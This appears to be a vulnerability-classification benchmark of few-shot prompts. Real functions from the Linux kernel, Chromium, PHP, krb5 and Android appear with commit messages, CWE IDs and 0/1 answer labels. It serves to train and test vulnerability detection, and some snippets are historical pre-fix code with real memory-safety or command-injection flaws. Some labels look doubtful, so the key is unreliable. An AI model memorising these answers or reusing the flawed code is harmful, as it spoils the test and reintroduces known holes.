Code: int cdrom_ioctl(struct cdrom_device_info *cdi, struct block_device *bdev,
fmode_t mode, unsigned int cmd, unsigned long arg)
{
void __user *argp = (void __user *)arg;
int ret;
/*
* Try the generic SCSI command ioctl's first.
*/
ret = scsi_cmd_blk_ioctl(bdev, mode, cmd, argp);
if (ret != -ENOTTY)
return ret;
switch (cmd) {
case CDROMMULTISESSION:
return cdrom_ioctl_multisession(cdi, argp);
case CDROMEJECT:
return cdrom_ioctl_eject(cdi);
case CDROMCLOSETRAY:
return cdrom_ioctl_closetray(cdi);
case CDROMEJECT_SW:
return cdrom_ioctl_eject_sw(cdi, arg);
case CDROM_MEDIA_CHANGED:
return cdrom_ioctl_media_changed(cdi, arg);
case CDROM_SET_OPTIONS:
return cdrom_ioctl_set_options(cdi, arg);
case CDROM_CLEAR_OPTIONS:
return cdrom_ioctl_clear_options(cdi, arg);
case CDROM_SELECT_SPEED:
return cdrom_ioctl_select_speed(cdi, arg);
case CDROM_SELECT_DISC:
return cdrom_ioctl_select_disc(cdi, arg);
case CDROMRESET:
return cdrom_ioctl_reset(cdi, bdev);
case CDROM_LOCKDOOR:
return cdrom_ioctl_lock_door(cdi, arg);
case CDROM_DEBUG:
return cdrom_ioctl_debug(cdi, arg);
case CDROM_GET_CAPABILITY:
return cdrom_ioctl_get_capability(cdi);
case CDROM_GET_MCN:
return cdrom_ioctl_get_mcn(cdi, argp);
case CDROM_DRIVE_STATUS:
return cdrom_ioctl_drive_status(cdi, arg);
case CDROM_DISC_STATUS:
return cdrom_ioctl_disc_status(cdi);
case CDROM_CHANGER_NSLOTS:
return cdrom_ioctl_changer_nslots(cdi);
}
/*
* Use the ioctls that are implemented through the generic_packet()
* interface. this may look at bit funny, but if -ENOTTY is
* returned that particular ioctl is not implemented and we
* let it go through the device specific ones.
*/
if (CDROM_CAN(CDC_GENERIC_PACKET)) {
ret = mmc_ioctl(cdi, cmd, arg);
if (ret != -ENOTTY)
return ret;
}
/*
* Note: most of the cd_dbg() calls are commented out here,
* because they fill up the sys log when CD players poll
* the drive.
*/
switch (cmd) {
case CDROMSUBCHNL:
return cdrom_ioctl_get_subchnl(cdi, argp);
case CDROMREADTOCHDR:
return cdrom_ioctl_read_tochdr(cdi, argp);
case CDROMREADTOCENTRY:
return cdrom_ioctl_read_tocentry(cdi, argp);
case CDROMPLAYMSF:
return cdrom_ioctl_play_msf(cdi, argp);
case CDROMPLAYTRKIND:
return cdrom_ioctl_play_trkind(cdi, argp);
case CDROMVOLCTRL:
return cdrom_ioctl_volctrl(cdi, argp);
case CDROMVOLREAD:
return cdrom_ioctl_volread(cdi, argp);
case CDROMSTART:
case CDROMSTOP:
case CDROMPAUSE:
case CDROMRESUME:
return cdrom_ioctl_audioctl(cdi, cmd);
}
return -ENOSYS;
}
Commit Message: cdrom: fix improper type cast, which can leat to information leak.
There is another cast from unsigned long to int which causes
a bounds check to fail with specially crafted input. The value is
then used as an index in the slot array in cdrom_slot_status().
This issue is similar to CVE-2018-16658 and CVE-2018-10940.
Signed-off-by: Young_X <[email protected]>
Signed-off-by: Jens Axboe <[email protected]>
CWE ID: CWE-200
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: gss_verify_mic_iov(OM_uint32 *minor_status, gss_ctx_id_t context_handle,
gss_qop_t *qop_state, gss_iov_buffer_desc *iov,
int iov_count)
{
OM_uint32 status;
gss_union_ctx_id_t ctx;
gss_mechanism mech;
status = val_unwrap_iov_args(minor_status, context_handle, NULL,
qop_state, iov, iov_count);
if (status != GSS_S_COMPLETE)
return status;
/* Select the approprate underlying mechanism routine and call it. */
ctx = (gss_union_ctx_id_t)context_handle;
mech = gssint_get_mechanism(ctx->mech_type);
if (mech == NULL)
return GSS_S_BAD_MECH;
if (mech->gss_verify_mic_iov == NULL)
return GSS_S_UNAVAILABLE;
status = mech->gss_verify_mic_iov(minor_status, ctx->internal_ctx_id,
qop_state, iov, iov_count);
if (status != GSS_S_COMPLETE)
map_error(minor_status, mech);
return status;
}
Commit Message: Preserve GSS context on init/accept failure
After gss_init_sec_context() or gss_accept_sec_context() has created a
context, don't delete the mechglue context on failures from subsequent
calls, even if the mechanism deletes the mech-specific context (which
is allowed by RFC 2744 but not preferred). Check for union contexts
with no mechanism context in each GSS function which accepts a
gss_ctx_id_t.
CVE-2017-11462:
RFC 2744 permits a GSS-API implementation to delete an existing
security context on a second or subsequent call to
gss_init_sec_context() or gss_accept_sec_context() if the call results
in an error. This API behavior has been found to be dangerous,
leading to the possibility of memory errors in some callers. For
safety, GSS-API implementations should instead preserve existing
security contexts on error until the caller deletes them.
All versions of MIT krb5 prior to this change may delete acceptor
contexts on error. Versions 1.13.4 through 1.13.7, 1.14.1 through
1.14.5, and 1.15 through 1.15.1 may also delete initiator contexts on
error.
ticket: 8598 (new)
target_version: 1.15-next
target_version: 1.14-next
tags: pullup
CWE ID: CWE-415
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static int pvc_getname(struct socket *sock, struct sockaddr *sockaddr,
int *sockaddr_len, int peer)
{
struct sockaddr_atmpvc *addr;
struct atm_vcc *vcc = ATM_SD(sock);
if (!vcc->dev || !test_bit(ATM_VF_ADDR, &vcc->flags))
return -ENOTCONN;
*sockaddr_len = sizeof(struct sockaddr_atmpvc);
addr = (struct sockaddr_atmpvc *)sockaddr;
addr->sap_family = AF_ATMPVC;
addr->sap_addr.itf = vcc->dev->number;
addr->sap_addr.vpi = vcc->vpi;
addr->sap_addr.vci = vcc->vci;
return 0;
}
Commit Message: atm: fix info leak via getsockname()
The ATM code fails to initialize the two padding bytes of struct
sockaddr_atmpvc inserted for alignment. Add an explicit memset(0)
before filling the structure to avoid the info leak.
Signed-off-by: Mathias Krause <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-200
Target: 1
Example 2:
Code: int BuildLoadFlagsForRequest(const ResourceHostMsg_Request& request_data,
int child_id, bool is_sync_load) {
int load_flags = request_data.load_flags;
load_flags |= net::LOAD_VERIFY_EV_CERT;
if (request_data.resource_type == ResourceType::MAIN_FRAME) {
load_flags |= net::LOAD_MAIN_FRAME;
} else if (request_data.resource_type == ResourceType::SUB_FRAME) {
load_flags |= net::LOAD_SUB_FRAME;
} else if (request_data.resource_type == ResourceType::PREFETCH) {
load_flags |= (net::LOAD_PREFETCH | net::LOAD_DO_NOT_PROMPT_FOR_LOGIN);
} else if (request_data.resource_type == ResourceType::FAVICON) {
load_flags |= net::LOAD_DO_NOT_PROMPT_FOR_LOGIN;
}
if (is_sync_load)
load_flags |= net::LOAD_IGNORE_LIMITS;
ChildProcessSecurityPolicyImpl* policy =
ChildProcessSecurityPolicyImpl::GetInstance();
if (!policy->CanSendCookiesForOrigin(child_id, request_data.url)) {
load_flags |= (net::LOAD_DO_NOT_SEND_COOKIES |
net::LOAD_DO_NOT_SEND_AUTH_DATA |
net::LOAD_DO_NOT_SAVE_COOKIES);
}
if ((load_flags & net::LOAD_REPORT_RAW_HEADERS)
&& !policy->CanReadRawCookies(child_id)) {
VLOG(1) << "Denied unauthorized request for raw headers";
load_flags &= ~net::LOAD_REPORT_RAW_HEADERS;
}
return load_flags;
}
Commit Message: Revert cross-origin auth prompt blocking.
BUG=174129
Review URL: https://chromiumcodereview.appspot.com/12183030
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@181113 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static int phar_analyze_path(const char *fname, const char *ext, int ext_len, int for_create TSRMLS_DC) /* {{{ */
{
php_stream_statbuf ssb;
char *realpath;
char *filename = estrndup(fname, (ext - fname) + ext_len);
if ((realpath = expand_filepath(filename, NULL TSRMLS_CC))) {
#ifdef PHP_WIN32
phar_unixify_path_separators(realpath, strlen(realpath));
#endif
if (zend_hash_exists(&(PHAR_GLOBALS->phar_fname_map), realpath, strlen(realpath))) {
efree(realpath);
efree(filename);
return SUCCESS;
}
if (PHAR_G(manifest_cached) && zend_hash_exists(&cached_phars, realpath, strlen(realpath))) {
efree(realpath);
efree(filename);
return SUCCESS;
}
efree(realpath);
}
if (SUCCESS == php_stream_stat_path((char *) filename, &ssb)) {
efree(filename);
if (ssb.sb.st_mode & S_IFDIR) {
return FAILURE;
}
if (for_create == 1) {
return FAILURE;
}
return SUCCESS;
} else {
char *slash;
if (!for_create) {
efree(filename);
return FAILURE;
}
slash = (char *) strrchr(filename, '/');
if (slash) {
*slash = '\0';
}
if (SUCCESS != php_stream_stat_path((char *) filename, &ssb)) {
if (!slash) {
if (!(realpath = expand_filepath(filename, NULL TSRMLS_CC))) {
efree(filename);
return FAILURE;
}
#ifdef PHP_WIN32
phar_unixify_path_separators(realpath, strlen(realpath));
#endif
slash = strstr(realpath, filename) + ((ext - fname) + ext_len);
*slash = '\0';
slash = strrchr(realpath, '/');
if (slash) {
*slash = '\0';
} else {
efree(realpath);
efree(filename);
return FAILURE;
}
if (SUCCESS != php_stream_stat_path(realpath, &ssb)) {
efree(realpath);
efree(filename);
return FAILURE;
}
efree(realpath);
if (ssb.sb.st_mode & S_IFDIR) {
efree(filename);
return SUCCESS;
}
}
efree(filename);
return FAILURE;
}
efree(filename);
if (ssb.sb.st_mode & S_IFDIR) {
return SUCCESS;
}
return FAILURE;
}
}
/* }}} */
Commit Message:
CWE ID: CWE-119
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: void EnsureInitializeForAndroidLayoutTests() {
CHECK(CommandLine::ForCurrentProcess()->HasSwitch(switches::kDumpRenderTree));
JNIEnv* env = base::android::AttachCurrentThread();
content::NestedMessagePumpAndroid::RegisterJni(env);
content::RegisterNativesImpl(env);
bool success = base::MessageLoop::InitMessagePumpForUIFactory(
&CreateMessagePumpForUI);
CHECK(success) << "Unable to initialize the message pump for Android.";
base::FilePath files_dir(GetTestFilesDirectory(env));
base::FilePath stdout_fifo(files_dir.Append(FILE_PATH_LITERAL("test.fifo")));
EnsureCreateFIFO(stdout_fifo);
base::FilePath stderr_fifo(
files_dir.Append(FILE_PATH_LITERAL("stderr.fifo")));
EnsureCreateFIFO(stderr_fifo);
base::FilePath stdin_fifo(files_dir.Append(FILE_PATH_LITERAL("stdin.fifo")));
EnsureCreateFIFO(stdin_fifo);
success = base::android::RedirectStream(stdout, stdout_fifo, "w") &&
base::android::RedirectStream(stdin, stdin_fifo, "r") &&
base::android::RedirectStream(stderr, stderr_fifo, "w");
CHECK(success) << "Unable to initialize the Android FIFOs.";
}
Commit Message: Content Shell: Move shell_layout_tests_android into layout_tests/.
BUG=420994
Review URL: https://codereview.chromium.org/661743002
Cr-Commit-Position: refs/heads/master@{#299892}
CWE ID: CWE-119
Target: 1
Example 2:
Code: bool LayerTreeHost::UsingSharedMemoryResources() {
return GetRendererCapabilities().using_shared_memory_resources;
}
Commit Message: Removed pinch viewport scroll offset distribution
The associated change in Blink makes the pinch viewport a proper
ScrollableArea meaning the normal path for synchronizing layer scroll
offsets is used.
This is a 2 sided patch, the other CL:
https://codereview.chromium.org/199253002/
BUG=349941
Review URL: https://codereview.chromium.org/210543002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@260105 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static inline signed short ReadProfileShort(const EndianType endian,
unsigned char *buffer)
{
union
{
unsigned int
unsigned_value;
signed int
signed_value;
} quantum;
unsigned short
value;
if (endian == LSBEndian)
{
value=(unsigned short) ((buffer[1] << 8) | buffer[0]);
quantum.unsigned_value=(value & 0xffff);
return(quantum.signed_value);
}
value=(unsigned short) ((((unsigned char *) buffer)[0] << 8) |
((unsigned char *) buffer)[1]);
quantum.unsigned_value=(value & 0xffff);
return(quantum.signed_value);
}
Commit Message: Improve checking of EXIF profile to prevent integer overflow (bug report from Ibrahim el-sayed)
CWE ID: CWE-125
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: void DelayedExecutor::delayedExecute(const QString &udi)
{
Solid::Device device(udi);
QString exec = m_service.exec();
MacroExpander mx(device);
mx.expandMacros(exec);
KRun::runCommand(exec, QString(), m_service.icon(), 0);
deleteLater();
}
Commit Message:
CWE ID: CWE-78
Target: 1
Example 2:
Code: nvmet_fc_xmt_fcp_rsp(struct nvmet_fc_tgtport *tgtport,
struct nvmet_fc_fcp_iod *fod)
{
int ret;
fod->fcpreq->op = NVMET_FCOP_RSP;
fod->fcpreq->timeout = 0;
nvmet_fc_prep_fcp_rsp(tgtport, fod);
ret = tgtport->ops->fcp_op(&tgtport->fc_target_port, fod->fcpreq);
if (ret)
nvmet_fc_abort_op(tgtport, fod);
}
Commit Message: nvmet-fc: ensure target queue id within range.
When searching for queue id's ensure they are within the expected range.
Signed-off-by: James Smart <[email protected]>
Signed-off-by: Christoph Hellwig <[email protected]>
Signed-off-by: Jens Axboe <[email protected]>
CWE ID: CWE-119
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void RenderWidgetHostImpl::OnCompositorSurfaceBuffersSwapped(
int32 surface_id,
uint64 surface_handle,
int32 route_id,
const gfx::Size& size,
int32 gpu_process_host_id) {
TRACE_EVENT0("renderer_host",
"RenderWidgetHostImpl::OnCompositorSurfaceBuffersSwapped");
if (!view_) {
RenderWidgetHostImpl::AcknowledgeBufferPresent(route_id,
gpu_process_host_id,
false,
0);
return;
}
GpuHostMsg_AcceleratedSurfaceBuffersSwapped_Params gpu_params;
gpu_params.surface_id = surface_id;
gpu_params.surface_handle = surface_handle;
gpu_params.route_id = route_id;
gpu_params.size = size;
#if defined(OS_MACOSX)
gpu_params.window = gfx::kNullPluginWindow;
#endif
view_->AcceleratedSurfaceBuffersSwapped(gpu_params,
gpu_process_host_id);
}
Commit Message: Implement TextureImageTransportSurface using texture mailbox
This has a couple of advantages:
- allow tearing down and recreating the UI parent context without
losing the renderer contexts
- do not require a context to be able to generate textures when
creating the GLSurfaceHandle
- clearer ownership semantics that potentially allows for more
robust and easier lost context handling/thumbnailing/etc., since a texture is at
any given time owned by either: UI parent, mailbox, or
TextureImageTransportSurface
- simplify frontbuffer protection logic;
the frontbuffer textures are now owned by RWHV where they are refcounted
The TextureImageTransportSurface informs RenderWidgetHostView of the
mailbox names for the front- and backbuffer textures by
associating them with a surface_handle (1 or 2) in the AcceleratedSurfaceNew message.
During SwapBuffers() or PostSubBuffer() cycles, it then uses
produceTextureCHROMIUM() and consumeTextureCHROMIUM()
to transfer ownership between renderer and browser compositor.
RWHV sends back the surface_handle of the buffer being returned with the Swap ACK
(or 0 if no buffer is being returned in which case TextureImageTransportSurface will
allocate a new texture - note that this could be used to
simply keep textures for thumbnailing).
BUG=154815,139616
[email protected]
Review URL: https://chromiumcodereview.appspot.com/11194042
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@171569 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: PowerLibrary* CrosLibrary::GetPowerLibrary() {
return power_lib_.GetDefaultImpl(use_stub_impl_);
}
Commit Message: chromeos: Replace copy-and-pasted code with macros.
This replaces a bunch of duplicated-per-library cros
function definitions and comments.
BUG=none
TEST=built it
Review URL: http://codereview.chromium.org/6086007
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@70070 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-189
Target: 1
Example 2:
Code: static void jas_icctxtdesc_destroy(jas_iccattrval_t *attrval)
{
jas_icctxtdesc_t *txtdesc = &attrval->data.txtdesc;
if (txtdesc->ascdata) {
jas_free(txtdesc->ascdata);
txtdesc->ascdata = 0;
}
if (txtdesc->ucdata) {
jas_free(txtdesc->ucdata);
txtdesc->ucdata = 0;
}
}
Commit Message: The generation of the configuration file jas_config.h has been completely
reworked in order to avoid pollution of the global namespace.
Some problematic types like uchar, ulong, and friends have been replaced
with names with a jas_ prefix.
An option max_samples has been added to the BMP and JPEG decoders to
restrict the maximum size of image that they can decode. This change
was made as a (possibly temporary) fix to address security concerns.
A max_samples command-line option has also been added to imginfo.
Whether an image component (for jas_image_t) is stored in memory or on
disk is now based on the component size (rather than the image size).
Some debug log message were added.
Some new integer overflow checks were added.
Some new safe integer add/multiply functions were added.
More pre-C99 cruft was removed. JasPer has numerous "hacks" to
handle pre-C99 compilers. JasPer now assumes C99 support. So, this
pre-C99 cruft is unnecessary and can be removed.
The regression jasper-doublefree-mem_close.jpg has been re-enabled.
Theoretically, it should work more predictably now.
CWE ID: CWE-190
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: PHPAPI void php_pcre_match_impl(pcre_cache_entry *pce, char *subject, int subject_len, zval *return_value,
zval *subpats, int global, int use_flags, long flags, long start_offset TSRMLS_DC)
{
zval *result_set, /* Holds a set of subpatterns after
a global match */
**match_sets = NULL; /* An array of sets of matches for each
subpattern after a global match */
pcre_extra *extra = pce->extra;/* Holds results of studying */
pcre_extra extra_data; /* Used locally for exec options */
int exoptions = 0; /* Execution options */
int count = 0; /* Count of matched subpatterns */
int *offsets; /* Array of subpattern offsets */
int num_subpats; /* Number of captured subpatterns */
int size_offsets; /* Size of the offsets array */
int matched; /* Has anything matched */
int g_notempty = 0; /* If the match should not be empty */
const char **stringlist; /* Holds list of subpatterns */
char **subpat_names; /* Array for named subpatterns */
int i, rc;
int subpats_order; /* Order of subpattern matches */
int offset_capture; /* Capture match offsets: yes/no */
/* Overwrite the passed-in value for subpatterns with an empty array. */
if (subpats != NULL) {
zval_dtor(subpats);
array_init(subpats);
}
subpats_order = global ? PREG_PATTERN_ORDER : 0;
if (use_flags) {
offset_capture = flags & PREG_OFFSET_CAPTURE;
/*
* subpats_order is pre-set to pattern mode so we change it only if
* necessary.
*/
if (flags & 0xff) {
subpats_order = flags & 0xff;
}
if ((global && (subpats_order < PREG_PATTERN_ORDER || subpats_order > PREG_SET_ORDER)) ||
(!global && subpats_order != 0)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid flags specified");
return;
}
} else {
offset_capture = 0;
}
/* Negative offset counts from the end of the string. */
if (start_offset < 0) {
start_offset = subject_len + start_offset;
if (start_offset < 0) {
start_offset = 0;
}
}
if (extra == NULL) {
extra_data.flags = PCRE_EXTRA_MATCH_LIMIT | PCRE_EXTRA_MATCH_LIMIT_RECURSION;
extra = &extra_data;
}
extra->match_limit = PCRE_G(backtrack_limit);
extra->match_limit_recursion = PCRE_G(recursion_limit);
/* Calculate the size of the offsets array, and allocate memory for it. */
rc = pcre_fullinfo(pce->re, extra, PCRE_INFO_CAPTURECOUNT, &num_subpats);
if (rc < 0) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Internal pcre_fullinfo() error %d", rc);
RETURN_FALSE;
}
num_subpats++;
size_offsets = num_subpats * 3;
/*
* Build a mapping from subpattern numbers to their names. We will always
* allocate the table, even though there may be no named subpatterns. This
* avoids somewhat more complicated logic in the inner loops.
*/
subpat_names = make_subpats_table(num_subpats, pce TSRMLS_CC);
if (!subpat_names) {
RETURN_FALSE;
}
offsets = (int *)safe_emalloc(size_offsets, sizeof(int), 0);
/* Allocate match sets array and initialize the values. */
if (global && subpats && subpats_order == PREG_PATTERN_ORDER) {
match_sets = (zval **)safe_emalloc(num_subpats, sizeof(zval *), 0);
for (i=0; i<num_subpats; i++) {
ALLOC_ZVAL(match_sets[i]);
array_init(match_sets[i]);
INIT_PZVAL(match_sets[i]);
}
}
matched = 0;
PCRE_G(error_code) = PHP_PCRE_NO_ERROR;
do {
/* Execute the regular expression. */
count = pcre_exec(pce->re, extra, subject, subject_len, start_offset,
exoptions|g_notempty, offsets, size_offsets);
/* the string was already proved to be valid UTF-8 */
exoptions |= PCRE_NO_UTF8_CHECK;
/* Check for too many substrings condition. */
if (count == 0) {
php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Matched, but too many substrings");
count = size_offsets/3;
}
/* If something has matched */
if (count > 0) {
matched++;
/* If subpatterns array has been passed, fill it in with values. */
if (subpats != NULL) {
/* Try to get the list of substrings and display a warning if failed. */
if (pcre_get_substring_list(subject, offsets, count, &stringlist) < 0) {
efree(subpat_names);
efree(offsets);
if (match_sets) efree(match_sets);
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Get subpatterns list failed");
RETURN_FALSE;
}
if (global) { /* global pattern matching */
if (subpats && subpats_order == PREG_PATTERN_ORDER) {
/* For each subpattern, insert it into the appropriate array. */
for (i = 0; i < count; i++) {
if (offset_capture) {
add_offset_pair(match_sets[i], (char *)stringlist[i],
offsets[(i<<1)+1] - offsets[i<<1], offsets[i<<1], NULL);
} else {
add_next_index_stringl(match_sets[i], (char *)stringlist[i],
offsets[(i<<1)+1] - offsets[i<<1], 1);
}
}
/*
* If the number of captured subpatterns on this run is
* less than the total possible number, pad the result
* arrays with empty strings.
*/
if (count < num_subpats) {
for (; i < num_subpats; i++) {
add_next_index_string(match_sets[i], "", 1);
}
}
} else {
/* Allocate the result set array */
ALLOC_ZVAL(result_set);
array_init(result_set);
INIT_PZVAL(result_set);
/* Add all the subpatterns to it */
for (i = 0; i < count; i++) {
if (offset_capture) {
add_offset_pair(result_set, (char *)stringlist[i],
offsets[(i<<1)+1] - offsets[i<<1], offsets[i<<1], subpat_names[i]);
} else {
if (subpat_names[i]) {
add_assoc_stringl(result_set, subpat_names[i], (char *)stringlist[i],
offsets[(i<<1)+1] - offsets[i<<1], 1);
}
add_next_index_stringl(result_set, (char *)stringlist[i],
offsets[(i<<1)+1] - offsets[i<<1], 1);
}
}
/* And add it to the output array */
zend_hash_next_index_insert(Z_ARRVAL_P(subpats), &result_set, sizeof(zval *), NULL);
}
} else { /* single pattern matching */
/* For each subpattern, insert it into the subpatterns array. */
for (i = 0; i < count; i++) {
if (offset_capture) {
add_offset_pair(subpats, (char *)stringlist[i],
offsets[(i<<1)+1] - offsets[i<<1],
offsets[i<<1], subpat_names[i]);
} else {
if (subpat_names[i]) {
add_assoc_stringl(subpats, subpat_names[i], (char *)stringlist[i],
offsets[(i<<1)+1] - offsets[i<<1], 1);
}
add_next_index_stringl(subpats, (char *)stringlist[i],
offsets[(i<<1)+1] - offsets[i<<1], 1);
}
}
}
pcre_free((void *) stringlist);
}
} else if (count == PCRE_ERROR_NOMATCH) {
/* If we previously set PCRE_NOTEMPTY after a null match,
this is not necessarily the end. We need to advance
the start offset, and continue. Fudge the offset values
to achieve this, unless we're already at the end of the string. */
if (g_notempty != 0 && start_offset < subject_len) {
offsets[0] = start_offset;
offsets[1] = start_offset + 1;
} else
break;
} else {
pcre_handle_exec_error(count TSRMLS_CC);
break;
}
/* If we have matched an empty string, mimic what Perl's /g options does.
This turns out to be rather cunning. First we set PCRE_NOTEMPTY and try
the match again at the same point. If this fails (picked up above) we
advance to the next character. */
g_notempty = (offsets[1] == offsets[0])? PCRE_NOTEMPTY | PCRE_ANCHORED : 0;
/* Advance to the position right after the last full match */
start_offset = offsets[1];
} while (global);
/* Add the match sets to the output array and clean up */
if (global && subpats && subpats_order == PREG_PATTERN_ORDER) {
for (i = 0; i < num_subpats; i++) {
if (subpat_names[i]) {
zend_hash_update(Z_ARRVAL_P(subpats), subpat_names[i],
strlen(subpat_names[i])+1, &match_sets[i], sizeof(zval *), NULL);
Z_ADDREF_P(match_sets[i]);
}
zend_hash_next_index_insert(Z_ARRVAL_P(subpats), &match_sets[i], sizeof(zval *), NULL);
}
efree(match_sets);
}
efree(offsets);
efree(subpat_names);
/* Did we encounter an error? */
if (PCRE_G(error_code) == PHP_PCRE_NO_ERROR) {
RETVAL_LONG(matched);
} else {
RETVAL_FALSE;
}
}
Commit Message:
CWE ID: CWE-119
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: IndexedDBCursor::~IndexedDBCursor() {
Close();
}
Commit Message: [IndexedDB] Fix Cursor UAF
If the connection is closed before we return a cursor, it dies in
IndexedDBCallbacks::IOThreadHelper::SendSuccessCursor. It's deleted on
the correct thread, but we also need to makes sure to remove it from its
transaction.
To make things simpler, we have the cursor remove itself from its
transaction on destruction.
R: [email protected]
Bug: 728887
Change-Id: I8c76e6195c2490137a05213e47c635d12f4d3dd2
Reviewed-on: https://chromium-review.googlesource.com/526284
Commit-Queue: Daniel Murphy <[email protected]>
Reviewed-by: Victor Costan <[email protected]>
Cr-Commit-Position: refs/heads/master@{#477504}
CWE ID: CWE-416
Target: 1
Example 2:
Code: TabletModeWindowManager* CreateTabletModeWindowManager() {
EXPECT_FALSE(tablet_mode_window_manager());
Shell::Get()->tablet_mode_controller()->EnableTabletModeWindowManager(true);
return tablet_mode_window_manager();
}
Commit Message: cros: Enable some tests in //ash/wm in ash_unittests --mash
For the ones that fail, disable them via filter file instead of in the
code, per our disablement policy.
Bug: 698085, 695556, 698878, 698888, 698093, 698894
Test: ash_unittests --mash
Change-Id: Ic145ab6a95508968d6884d14fac2a3ca08888d26
Reviewed-on: https://chromium-review.googlesource.com/752423
Commit-Queue: James Cook <[email protected]>
Reviewed-by: Steven Bennetts <[email protected]>
Cr-Commit-Position: refs/heads/master@{#513836}
CWE ID: CWE-119
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: sp<MediaSource> OMXCodec::Create(
const sp<IOMX> &omx,
const sp<MetaData> &meta, bool createEncoder,
const sp<MediaSource> &source,
const char *matchComponentName,
uint32_t flags,
const sp<ANativeWindow> &nativeWindow) {
int32_t requiresSecureBuffers;
if (source->getFormat()->findInt32(
kKeyRequiresSecureBuffers,
&requiresSecureBuffers)
&& requiresSecureBuffers) {
flags |= kIgnoreCodecSpecificData;
flags |= kUseSecureInputBuffers;
}
const char *mime;
bool success = meta->findCString(kKeyMIMEType, &mime);
CHECK(success);
Vector<CodecNameAndQuirks> matchingCodecs;
findMatchingCodecs(
mime, createEncoder, matchComponentName, flags, &matchingCodecs);
if (matchingCodecs.isEmpty()) {
ALOGV("No matching codecs! (mime: %s, createEncoder: %s, "
"matchComponentName: %s, flags: 0x%x)",
mime, createEncoder ? "true" : "false", matchComponentName, flags);
return NULL;
}
sp<OMXCodecObserver> observer = new OMXCodecObserver;
IOMX::node_id node = 0;
for (size_t i = 0; i < matchingCodecs.size(); ++i) {
const char *componentNameBase = matchingCodecs[i].mName.string();
uint32_t quirks = matchingCodecs[i].mQuirks;
const char *componentName = componentNameBase;
AString tmp;
if (flags & kUseSecureInputBuffers) {
tmp = componentNameBase;
tmp.append(".secure");
componentName = tmp.c_str();
}
if (createEncoder) {
sp<MediaSource> softwareCodec =
InstantiateSoftwareEncoder(componentName, source, meta);
if (softwareCodec != NULL) {
ALOGV("Successfully allocated software codec '%s'", componentName);
return softwareCodec;
}
}
ALOGV("Attempting to allocate OMX node '%s'", componentName);
if (!createEncoder
&& (quirks & kOutputBuffersAreUnreadable)
&& (flags & kClientNeedsFramebuffer)) {
if (strncmp(componentName, "OMX.SEC.", 8)) {
ALOGW("Component '%s' does not give the client access to "
"the framebuffer contents. Skipping.",
componentName);
continue;
}
}
status_t err = omx->allocateNode(componentName, observer, &node);
if (err == OK) {
ALOGV("Successfully allocated OMX node '%s'", componentName);
sp<OMXCodec> codec = new OMXCodec(
omx, node, quirks, flags,
createEncoder, mime, componentName,
source, nativeWindow);
observer->setCodec(codec);
err = codec->configureCodec(meta);
if (err == OK) {
return codec;
}
ALOGV("Failed to configure codec '%s'", componentName);
}
}
return NULL;
}
Commit Message: Fix size check for OMX_IndexParamConsumerUsageBits
since it doesn't follow the OMX convention. And remove support
for the kClientNeedsFrameBuffer flag.
Bug: 27207275
Change-Id: Ia2c119e2456ebf9e2f4e1de5104ef9032a212255
CWE ID: CWE-119
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: int hns_ppe_get_sset_count(int stringset)
{
if (stringset == ETH_SS_STATS)
return ETH_PPE_STATIC_NUM;
return 0;
}
Commit Message: net: hns: fix ethtool_get_strings overflow in hns driver
hns_get_sset_count() returns HNS_NET_STATS_CNT and the data space allocated
is not enough for ethtool_get_strings(), which will cause random memory
corruption.
When SLAB and DEBUG_SLAB are both enabled, memory corruptions like the
the following can be observed without this patch:
[ 43.115200] Slab corruption (Not tainted): Acpi-ParseExt start=ffff801fb0b69030, len=80
[ 43.115206] Redzone: 0x9f911029d006462/0x5f78745f31657070.
[ 43.115208] Last user: [<5f7272655f746b70>](0x5f7272655f746b70)
